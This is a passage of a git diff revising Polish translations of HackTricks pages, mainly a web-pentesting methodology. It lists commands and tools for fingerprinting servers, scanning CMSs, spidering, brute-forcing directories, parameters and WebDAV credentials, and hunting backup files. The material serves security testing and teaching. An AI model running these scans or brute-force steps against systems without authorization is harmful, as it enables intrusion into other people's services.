SessionId/TreeID/FileIDs i łańcuchuje create → ioctl → close. +- Użyj grammar dla SMB2 PDUs, żeby utrzymać poprawność strukturalną. +- Użyj focus_areas, aby przewagować słabiej pokryte funkcje (np. ścieżki w smbacl.c takie jak smb_check_perm_dacl). +- Seeduj ANYBLOB z prawdziwych pcaps, aby przełamać plateau; pakuj seedy za pomocą syz-db do ponownego użycia. +- Uruchamiaj z KASAN + UBSAN; triage raporty UBSAN declared-bounds ostrożnie. --- @@ -214,6 +214,6 @@ Ustawienie num_subauth = 0 wywołuje in-struct OOB read sub_auth[-1], wykrywany - KCSAN: https://docs.kernel.org/dev-tools/kcsan.html - Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/ - Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures -- Materiały uzupełniające: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mu’s syzkaller notes +- Background reading: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mu’s syzkaller notes {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index 5e26c36cb..bcc48c091 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -4,9 +4,9 @@ ## Podstawowe informacje -Usługa webowa jest **najpowszechniejszą i najbardziej rozbudowaną usługą**, a istnieje wiele **różnych typów podatności**. +Usługa webowa jest najbardziej **powszechną i rozległą usługą**, a istnieje wiele **różnych typów podatności**. -**Domyślny port:** 80 (HTTP), 443 (HTTPS) +**Domyślny port:** 80 (HTTP), 443(HTTPS) ```bash PORT STATE SERVICE 80/tcp open http @@ -17,7 +17,7 @@ PORT STATE SERVICE nc -v domain.com 80 # GET / HTTP/1.0 openssl s_client -connect domain.com:443 # GET / HTTP/1.0 ``` -### Wytyczne Web API +### Web API Wskazówki {{#ref}} @@ -26,38 +26,38 @@ web-api-pentesting.md ## Podsumowanie metodologii -> W tej metodologii założymy, że atakujesz domenę (lub subdomenę) i tylko ją. Stosuj tę metodologię do każdej odkrytej domeny, subdomeny lub adresu IP z nieokreślonym serwerem web w zakresie. +> W tej metodologii zakładamy, że będziesz atakować jedną domenę (lub subdomenę) i tylko ją. Zastosuj tę metodologię do każdej odkrytej domeny, subdomeny lub IP z nieokreślonym serwerem WWW w zakresie. -- [ ] Zacznij od **identyfikacji** **technologii** używanych przez serwer web. Szukaj **tricks**, które warto mieć na uwadze podczas dalszego testu, jeśli uda Ci się zidentyfikować tech. -- [ ] Czy istnieje jakaś **known vulnerability** dla wersji danej technologii? -- [ ] Czy używana jest jakaś **well known tech**? Jakiś **useful trick** pozwalający wydobyć więcej informacji? -- [ ] Czy uruchomić jakiś **specialised scanner** (np. wpscan)? -- [ ] Uruchom **skanery ogólnego przeznaczenia**. Nigdy nie wiadomo, czy coś znajdą lub czy wyciągną interesujące informacje. -- [ ] Rozpocznij od **initial checks**: **robots**, **sitemap**, **404** error oraz **SSL/TLS scan** (jeśli HTTPS). -- [ ] Zacznij **spidering** strony: czas **find** wszystkich możliwych **files, folders** i **parameters being used.** Sprawdź też **special findings**. +- [ ] Start by **identifying** the **technologies** used by the web server. Look for **tricks** to keep in mind during the rest of the test if you can successfully identify the tech. +- [ ] Any **known vulnerability** of the version of the technology? +- [ ] Using any **well known tech**? Any **useful trick** to extract more information? +- [ ] Any **specialised scanner** to run (like wpscan)? +- [ ] Launch **general purposes scanners**. You never know if they are going to find something or if the are going to find some interesting information. +- [ ] Start with the **initial checks**: **robots**, **sitemap**, **404** error and **SSL/TLS scan** (if HTTPS). +- [ ] Start **spidering** the web page: It's time to **find** all the possible **files, folders** and **parameters being used.** Also, check for **special findings**. - [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be spidered._ -- [ ] **Directory Brute-Forcing**: Spróbuj brute force wszystkich odkrytych folderów w poszukiwaniu nowych **files** i **directories**. +- [ ] **Directory Brute-Forcing**: Try to brute force all the discovered folders searching for new **files** and **directories**. - [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._ -- [ ] **Backups checking**: Sprawdź, czy możesz znaleźć **backups** **discovered files** poprzez dopisanie typowych rozszerzeń kopii zapasowych. -- [ ] **Brute-Force parameters**: Spróbuj **find hidden parameters**. -- [ ] Gdy **identified** wszystkie możliwe **endpoints** akceptujące **user input**, sprawdź wszystkie rodzaje **vulnerabilities** z nimi związane. -- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md) +- [ ] **Backups checking**: Test if you can find **backups** of **discovered files** appending common backup extensions. +- [ ] **Brute-Force parameters**: Try to **find hidden parameters**. +- [ ] Once you have **identified** all the possible **endpoints** accepting **user input**, check for all kind of **vulnerabilities** related to it. +- [ ] [Postępuj zgodnie z tą listą kontrolną](../../pentesting-web/web-vulnerabilities-methodology.md) -## Server Version (Vulnerable?) +## Wersja serwera (Podatna?) ### Identyfikacja -Sprawdź, czy dla uruchomionej **wersji** serwera istnieją **known vulnerabilities**.\ -The **HTTP headers and cookies of the response** mogą być bardzo przydatne do **identify** **technologies** i/lub używanej **version**. **Nmap scan** może zidentyfikować wersję serwera, ale przydatne mogą być także narzędzia [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:** +Sprawdź, czy istnieją **znane podatności** dla uruchomionej **wersji** serwera.\ +**Nagłówki HTTP i cookies odpowiedzi** mogą być bardzo pomocne przy **identyfikacji** używanych **technologii** i/lub **wersji**. **Nmap scan** może zidentyfikować wersję serwera, ale przydatne mogą być także narzędzia [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:** ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive webtech -u webanalyze -host https://google.com -crawl 2 ``` -Szukaj **dla** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) +Szukaj **dla** [**podatności aplikacji webowej** **wersji**](../../generic-hacking/search-exploits.md) -### **Sprawdź, czy jest jakiś WAF** +### **Sprawdź czy występuje WAF** - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f) - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) @@ -103,26 +103,27 @@ Kilka **sztuczek** do **znajdowania podatności** w różnych dobrze znanych **t - [**Sitecore**](sitecore/index.html) _Weź pod uwagę, że ta **sama domena** może używać **różnych technologii** na różnych **portach**, **folderach** i **subdomenach**._\ -Jeśli aplikacja webowa używa jakiejkolwiek dobrze znanej **technologii/platformy wymienionej powyżej** lub **jakiejkolwiek innej**, nie zapomnij **wyszukać w Internecie** nowych trików (i daj mi znać!). +Jeśli aplikacja webowa używa którejkolwiek z wcześniej wymienionych dobrze znanych **technologii/platform** lub **jakiejkolwiek innej**, nie zapomnij **wyszukać w Internecie** nowych trików (i daj mi znać!). -### Przegląd kodu źródłowego +### Source Code Review -Jeśli **kod źródłowy** aplikacji jest dostępny w **github**, oprócz przeprowadzenia przez Ciebie **White box test** aplikacji istnieją **pewne informacje**, które mogą być **przydatne** dla bieżącego **Black-Box testing**: +Jeśli **kod źródłowy** aplikacji jest dostępny na **github**, oprócz przeprowadzenia przez Ciebie **White box test** aplikacji istnieją **pewne informacje**, które mogą być **przydatne** dla bieżącego **Black-Box testing**: -- Czy istnieje plik **Change-log**, **Readme** lub **Version** bądź cokolwiek z **informacją o wersji** dostępną przez web? -- Jak i gdzie są przechowywane **dane uwierzytelniające**? Czy istnieje jakiś (dostępny?) **plik** z danymi uwierzytelniającymi (nazwy użytkowników lub hasła)? -- Czy **hasła** są w **tekście jawnym**, **zaszyfrowane** czy który **algorytm haszujący** jest używany? -- Czy używa jakiegoś **klucza głównego** do szyfrowania czegoś? Jaki **algorytm** jest używany? +- Czy istnieje plik **Change-log lub Readme lub Version** lub coś z informacją o **wersji dostępną** przez web? +- Jak i gdzie są zapisywane **credentials**? Czy istnieje jakiś (dostępny?) **file** z credentials (usernames or passwords)? +- Czy **passwords** są w **plain text**, **encrypted** czy jaki **algorytm haszujący** jest używany? +- Czy używa jakiegokolwiek **master key** do szyfrowania czegoś? Jaki **algorytm** jest używany? - Czy możesz **uzyskać dostęp do któregokolwiek z tych plików** wykorzystując jakąś podatność? -- Czy są jakieś **interesujące informacje na githubie** (rozwiązane i nierozwiązane) **zgłoszenia**? Albo w **historii commitów** (może jakieś **hasło wprowadzone w starym commicie**)? +- Czy są jakieś **interesujące informacje na github** (rozwiązane i nierozwiązane) **issues**? Lub w **commit history** (może jakieś **hasło wprowadzone w starym commicie**)? + {{#ref}} code-review-tools.md {{#endref}} -### Automatyczne skanery +### Automatic scanners -#### Skanery ogólnego przeznaczenia +#### Automatyczne skanery ogólnego przeznaczenia ```bash nikto -h whatweb -a 4 @@ -136,10 +137,10 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi ``` #### Skanery CMS -Jeśli używany jest CMS, nie zapomnij **uruchomić skanera**, możesz znaleźć coś ciekawego: +Jeśli używany jest CMS, nie zapomnij **uruchomić skanera**, może znajdzie się coś ciekawego: [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ -[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** witryny pod kątem problemów z bezpieczeństwem. (GUI)\ +[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** witryny pod kątem problemów bezpieczeństwa. (GUI)\ [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\ **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **lub** [**(M)oodle**](moodle.md)\ [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) @@ -149,45 +150,45 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> Na tym etapie powinieneś już mieć pewne informacje o serwerze WWW używanym przez klienta (jeśli dostarczono jakieś dane) oraz kilka trików do zapamiętania podczas testu. Jeśli masz szczęście, znalazłeś nawet CMS i uruchomiłeś skaner. +> W tym momencie powinieneś mieć już pewne informacje o serwerze webowym używanym przez klienta (jeśli podano jakieś dane) oraz kilka sztuczek do zapamiętania podczas testu. Jeśli masz szczęście, znalazłeś nawet CMS i uruchomiłeś jakiś skaner. -## Krok po kroku: odkrywanie aplikacji webowej +## Krok po kroku — Odkrywanie aplikacji webowej -> Od tego momentu zaczniemy wchodzić w interakcję z aplikacją webową. +> Od tego momentu zaczynamy wchodzić w interakcję z aplikacją webową. ### Wstępne sprawdzenia -**Domyślne strony zawierające przydatne informacje:** +**Domyślne strony z przydatnymi informacjami:** - /robots.txt - /sitemap.xml - /crossdomain.xml - /clientaccesspolicy.xml - /.well-known/ -- Sprawdź również komentarze na stronach głównych i pomocniczych. +- Sprawdź także komentarze na stronach głównych i pomocniczych. **Wymuszanie błędów** -Serwery WWW mogą **zachowywać się nieoczekiwanie**, gdy wysyłane są do nich nietypowe dane. Może to doprowadzić do otwarcia **podatności** lub **ujawnienia wrażliwych informacji**. +Serwery WWW mogą zachowywać się nieoczekiwanie, gdy wysyłane są do nich nietypowe dane. Może to otworzyć **vulnerabilities** lub spowodować ujawnienie wrażliwych informacji. -- Dostęp do **fake pages** takich jak /whatever_fake.php (.aspx,.html,.etc) -- **Dodaj "\[]", "]]", and "\[["** w **wartościach cookie** i **wartościach parametrów**, aby wywołać błędy -- Wygeneruj błąd, podając dane wejściowe jako **`/~randomthing/%s`** na **końcu** **URL** -- Wypróbuj **różne HTTP Verbs** takie jak PATCH, DEBUG lub błędne jak FAKE +- Odwiedź **fake pages** takie jak /whatever_fake.php (.aspx,.html,.etc) +- **Add "\[]", "]]", and "\[["** w **cookie values** i wartościach **parameter** aby wywołać błędy +- Wygeneruj błąd, podając jako wejście **`/~randomthing/%s`** na **końcu** **URL** +- Spróbuj różnych **HTTP Verbs** jak PATCH, DEBUG lub nieprawidłowych, np. FAKE -#### **Sprawdź czy możesz przesyłać pliki (**[**PUT verb, WebDav**](put-method-webdav.md)**)** +#### **Sprawdź, czy możesz przesyłać pliki (**[**PUT verb, WebDav**](put-method-webdav.md)**)** -Jeśli odkryjesz, że **WebDav** jest **włączony**, ale nie masz wystarczających uprawnień do **wysyłania plików** w katalogu root, spróbuj: +Jeśli odkryjesz, że **WebDav** jest **enabled**, ale nie masz wystarczających uprawnień do **uploading files** w root folder, spróbuj: -- Przeprowadzić **Brute Force** na poświadczeniach -- **Upload files** przez WebDav do **pozostałych** **znalezionych folderów** na stronie. Możesz mieć uprawnienia do wysyłania plików w innych katalogach. +- **Brute Force** credentials +- **Upload files** via WebDav do **reszty** **found folders** w obrębie strony. Możliwe, że masz uprawnienia do uploadowania plików w innych folderach. -### **SSL/TLS podatności** +### **SSL/TLS vulnerabilites** -- Jeśli aplikacja **nie wymusza użycia HTTPS** w żadnej części, to jest **podatna na MitM** -- Jeśli aplikacja **wysyła wrażliwe dane (hasła) przez HTTP**, to jest to poważna podatność. +- Jeśli aplikacja **isn't forcing the user of HTTPS** w żadnej części, to jest **vulnerable to MitM** +- Jeśli aplikacja **sending sensitive data (passwords) using HTTP** — to jest poważne **vulnerability** -Użyj [**testssl.sh**](https://github.com/drwetter/testssl.sh) do sprawdzenia **podatności** (w programach Bug Bounty prawdopodobnie tego rodzaju podatności nie będą akceptowane) i użyj [**a2sv** ](https://github.com/hahwul/a2sv) aby ponownie sprawdzić podatności: +Użyj [**testssl.sh**](https://github.com/drwetter/testssl.sh) aby sprawdzić **vulnerabilities** (W programach Bug Bounty prawdopodobnie tego typu vulnerabilities nie będą akceptowane) i użyj [**a2sv** ](https://github.com/hahwul/a2sv)to aby ponownie zweryfikować vulnerabilities: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -203,53 +204,53 @@ Informacje o podatnościach SSL/TLS: ### Spidering -Uruchom jakiś rodzaj **spider** w obrębie aplikacji webowej. Celem spidera jest **znaleźć jak najwięcej ścieżek** w testowanej aplikacji. Dlatego należy użyć web crawlingu oraz zewnętrznych źródeł, aby odkryć jak najwięcej poprawnych ścieżek. +Uruchom jakiś rodzaj **spider** wewnątrz aplikacji webowej. Celem spidera jest **znaleźć jak najwięcej ścieżek** w testowanej aplikacji. Dlatego crawling i zewnętrzne źródła powinny być użyte, aby odnaleźć jak najwięcej prawidłowych ścieżek. -- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder w plikach JS oraz zewnętrzne źródła (Archive.org, CommonCrawl.org, VirusTotal.com). -- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML spider, z LinkFinder dla plików JS i Archive.org jako źródłem zewnętrznym. -- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, również wskazuje „juicy files”. -- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktywny CLI HTML spider. Przeszukuje również Archive.org -- [**meg**](https://github.com/tomnomnom/meg) (go): To narzędzie nie jest spiderem, ale może być użyteczne. Możesz podać plik z hostami i plik ze ścieżkami, a meg pobierze każdą ścieżkę dla każdego hosta i zapisze odpowiedź. -- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider z możliwością renderowania JS. Wygląda jednak na nieutrzymywane — wersja prekompilowana jest stara, a bieżący kod nie kompiluje się. -- [**gau**](https://github.com/lc/gau) (go): HTML spider korzystający z zewnętrznych dostawców (wayback, otx, commoncrawl) -- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Skrypt znajdzie URL-e z parametrami i je wypisze. +- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder w plikach JS i zewnętrzne źródła (Archive.org, CommonCrawl.org, VirusTotal.com). +- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, z LinkFinder dla plików JS i Archive.org jako zewnętrzne źródło. +- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, także wskazuje "juicy files". +- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktywny CLI HTML spider. Również przeszukuje Archive.org +- [**meg**](https://github.com/tomnomnom/meg) (go): To narzędzie nie jest spiderem, ale może być przydatne. Możesz podać plik z hostami i plik ze ścieżkami, a meg pobierze każdą ścieżkę na każdym hoście i zapisze odpowiedź. +- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider z możliwością renderowania JS. Wygląda jednak na nieutrzymywane, prekompilowana wersja jest stara, a aktualny kod nie kompiluje się. +- [**gau**](https://github.com/lc/gau) (go): HTML spider, który używa zewnętrznych providerów (wayback, otx, commoncrawl) +- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Ten skrypt znajdzie URL-e z parametrami i je wypisze. - [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider z możliwością renderowania JS. -- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider z możliwością beautify JS, zdolny do wyszukiwania nowych ścieżek w plikach JS. Warto też zerknąć na [JSScanner](https://github.com/dark-warlord14/JSScanner), który jest wrapperem LinkFinder. -- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Do ekstrakcji endpointów zarówno z źródła HTML, jak i z osadzonych plików javascript. Przydatne dla bug hunterów, red teamów, infosec ninja. -- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Skrypt Python 2.7 używający Tornado i JSBeautifier do parsowania względnych URL-i z plików JavaScript. Przydatny do odkrywania żądań AJAX. Wygląda na nieutrzymywany. -- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dając plik (HTML) wyciąga URL-e używając sprytnego regexu do znalezienia i ekstrakcji względnych URL-i z „brzydkich” (minify) plików. -- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, kilka narzędzi): Zbiera interesujące informacje z plików JS przy pomocy kilku narzędzi. -- [**subjs**](https://github.com/lc/subjs) (go): Znajdź pliki JS. +- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, z możliwością beautify JS, potrafi wyszukać nowe ścieżki w plikach JS. Warto też rzucić okiem na [JSScanner](https://github.com/dark-warlord14/JSScanner), który jest wrapperem LinkFinder. +- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Do ekstrakcji endpointów w źródle HTML i osadzonych plikach javascript. Przydatne dla bug hunterów, red teamów, infosec ninja. +- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Skrypt w python 2.7 używający Tornado i JSBeautifier do parsowania względnych URL-i z plików JavaScript. Przydatny do łatwego odkrywania żądań AJAX. Wygląda na nieutrzymywany. +- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dając plik (HTML) wyciąga z niego URL-e używając sprytnych regexpów do znalezienia i ekstrakcji względnych URL-i z "brzydkich" (minify) plików. +- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Zbiera interesujące informacje z plików JS używając kilku narzędzi. +- [**subjs**](https://github.com/lc/subjs) (go): Znajduje pliki JS. - [**page-fetch**](https://github.com/detectify/page-fetch) (go): Ładuje stronę w headless browser i wypisuje wszystkie URL-e załadowane podczas ładowania strony. -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Narzędzie do odkrywania treści łączące kilka opcji z poprzednich narzędzi. +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Narzędzie do discovery treści łączące kilka funkcji poprzednich narzędzi. - [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Rozszerzenie Burp do znajdowania ścieżek i parametrów w plikach JS. -- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Narzędzie, które mając URL .js.map zwróci beautified kod JS. -- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Narzędzie do odkrywania endpointów dla danego targetu. -- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Odkrywa linki z wayback machine (również pobierając odpowiedzi z wayback i szukając kolejnych linków). -- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (nawet przez wypełnianie formularzy) i również wyszukuje sensititve info używając specyficznych regexów. -- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite to zaawansowany multi-feature GUI web security Crawler/Spider zaprojektowany dla specjalistów cyberbezpieczeństwa. -- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Pakiet Go i [narzędzie CLI](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) do ekstrakcji URL-i, ścieżek, sekretów i innych interesujących danych z kodu źródłowego JavaScript. -- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge to proste rozszerzenie **Burp Suite** do **ekstrakcji parametrów i endpointów** z requestów, aby stworzyć custom wordlist do fuzzingu i enumeracji. +- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Narzędzie, które podając URL .js.map zwróci zbeautyfikowany kod JS. +- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Narzędzie do odkrywania endpointów dla danego celu. +- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Odkrywa linki z wayback machine (także pobierając odpowiedzi w wayback i szukając kolejnych linków). +- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (nawet przez wypełnianie formularzy) i także znajdowanie wrażliwych informacji przy użyciu specyficznych regexów. +- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite to zaawansowany wielofunkcyjny GUI web security Crawler/Spider zaprojektowany dla profesjonalistów cyberbezpieczeństwa. +- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Pakiet Go i [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) do ekstrakcji URL-i, ścieżek, sekretów i innych interesujących danych z kodu źródłowego JavaScript. +- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge to proste **Burp Suite extension** do **ekstrakcji parametrów i endpointów** z requestów w celu stworzenia custom wordlist do fuzzingu i enumeracji. - [**katana**](https://github.com/projectdiscovery/katana) (go): Świetne narzędzie do tego. -- [**Crawley**](https://github.com/s0rg/crawley) (go): Wypisuje każdy link jaki jest w stanie znaleźć. +- [**Crawley**](https://github.com/s0rg/crawley) (go): Wypisuje każdy link, który jest w stanie znaleźć. -### Brute Force directories and files +### Brute Force katalogi i pliki -Zacznij **brute-forcing** od folderu root i upewnij się, że bruteforce'ujesz **wszystkie** znalezione **katalogi** używając **tej metody** oraz wszystkich katalogów **odkrytych** przez **Spidering** (możesz wykonywać to **brute-forcing** **rekursywnie** i dodawać na początek użytej wordlisty nazwy znalezionych katalogów).\ +Rozpocznij **brute-forcing** od katalogu głównego i upewnij się, że **brute-forcujesz** **wszystkie** **znalezione katalogi** używając **tej metody** oraz wszystkich katalogów **odkrytych** przez **Spidering** (możesz wykonywać to **rekursywnie** i doklejać na początku użytej wordlisty nazwy znalezionych katalogów).\ Narzędzia: -- **Dirb** / **Dirbuster** - Dołączone w Kali, **stare** (i **wolne**) ale funkcjonalne. Pozwalają na auto-signed certificates i przeszukiwanie rekursywne. Zbyt wolne w porównaniu z innymi opcjami. -- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Nie pozwala na auto-signed certificates ale** umożliwia przeszukiwanie rekursywne. -- [**Gobuster**](https://github.com/OJ/gobuster) (go): Pozwala na auto-signed certificates, nie ma jednak funkcji **recursive** search. +- **Dirb** / **Dirbuster** - Dołączone do Kali, **stare** (i **wolne**) ale funkcjonalne. Pozwalają na certyfikaty z auto-podpisem i wyszukiwanie rekurencyjne. Zbyt wolne w porównaniu z innymi opcjami. +- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Nie pozwala na certyfikaty auto-podpisane, ale** wspiera wyszukiwanie rekurencyjne. +- [**Gobuster**](https://github.com/OJ/gobuster) (go): Pozwala na certyfikaty auto-podpisane, nie ma jednak wyszukiwania **rekurencyjnego**. - [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.** - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` - [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` -- [**uro**](https://github.com/s0md3v/uro) (python): To nie jest spider, ale narzędzie które, mając listę znalezionych URL-i, usunie „zduplikowane” URL-e. -- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension do tworzenia listy katalogów z historii Burp z różnych stron. -- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Usuwa URL-e z zduplikowaną funkcjonalnością (bazując na importach js). -- [**Chamaleon**](https://github.com/iustin24/chameleon): Używa wapalyzer do wykrywania użytych technologii i wyboru słowników do użycia. +- [**uro**](https://github.com/s0md3v/uro) (python): To nie jest spider, ale narzędzie które biorąc listę znalezionych URL-i usuwa "zduplikowane" URL-e. +- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension do tworzenia listy katalogów z historii Burp dla różnych stron. +- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Usuwa URL-e o zduplikowanej funkcjonalności (na podstawie importów js). +- [**Chamaleon**](https://github.com/iustin24/chameleon): Używa Wappalyzer do wykrycia użytych technologii i dobrania odpowiednich wordlist. -**Recommended dictionaries:** +**Zalecane słowniki:** - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt) - [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) @@ -264,47 +265,45 @@ Narzędzia: - [https://github.com/six2dez/OneListForAll](https://github.com/six2dez/OneListForAll) - [https://github.com/random-robbie/bruteforce-lists](https://github.com/random-robbie/bruteforce-lists) - [https://github.com/ayoubfathi/leaky-paths](https://github.com/ayoubfathi/leaky-paths) -- [https://github.com/random-robbie/bruteforce-lists](https://github.com/random-robbie/bruteforce-lists) -- [https://github.com/ayoubfathi/leaky-paths](https://github.com/ayoubfathi/leaky-paths) - _/usr/share/wordlists/dirb/common.txt_ - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_Uwaga: za każdym razem, gdy podczas brute-forcingu lub spideringu odkryty zostanie nowy katalog, należy go Brute-Forced._ +_Zauważ, że za każdym razem gdy nowy katalog zostanie odkryty podczas brute-forcingu lub spideringu, powinien być Brute-Forced._ -### What to check on each file found +### Co sprawdzić dla każdego znalezionego pliku -- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Znajdź broken links wewnątrz HTML, które mogą być podatne na takeovery. -- **File Backups**: Gdy odnajdziesz wszystkie pliki, szukaj backupów wszystkich plików wykonywalnych ("_.php_", "_.aspx_"...). Typowe warianty nazewnictwa backupu to: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp oraz file.old._ Możesz też użyć narzędzia [**bfac**](https://github.com/mazen160/bfac) **lub** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** -- **Discover new parameters**: Możesz użyć narzędzi jak [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **oraz** [**Param Miner**](https://github.com/PortSwigger/param-miner) **do odkrywania ukrytych parametrów. Jeśli to możliwe, spróbuj wyszukać** ukryte parametry w każdym wykonywalnym pliku webowym. +- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Znajdź broken linki w HTML-ach, które mogą być podatne na takeovery. +- **File Backups**: Gdy znajdziesz wszystkie pliki, szukaj backupów wszystkich plików wykonywalnych ("_.php_", "_.aspx_"...). Typowe warianty nazw backupu to: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp i file.old._ Możesz także użyć narzędzia [**bfac**](https://github.com/mazen160/bfac) **lub** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** +- **Discover new parameters**: Możesz użyć narzędzi jak [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **oraz** [**Param Miner**](https://github.com/PortSwigger/param-miner) **do wykrywania ukrytych parametrów. Jeśli możesz, spróbuj szukać** ukrytych parametrów w każdym wykonywalnym pliku webowym. - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de 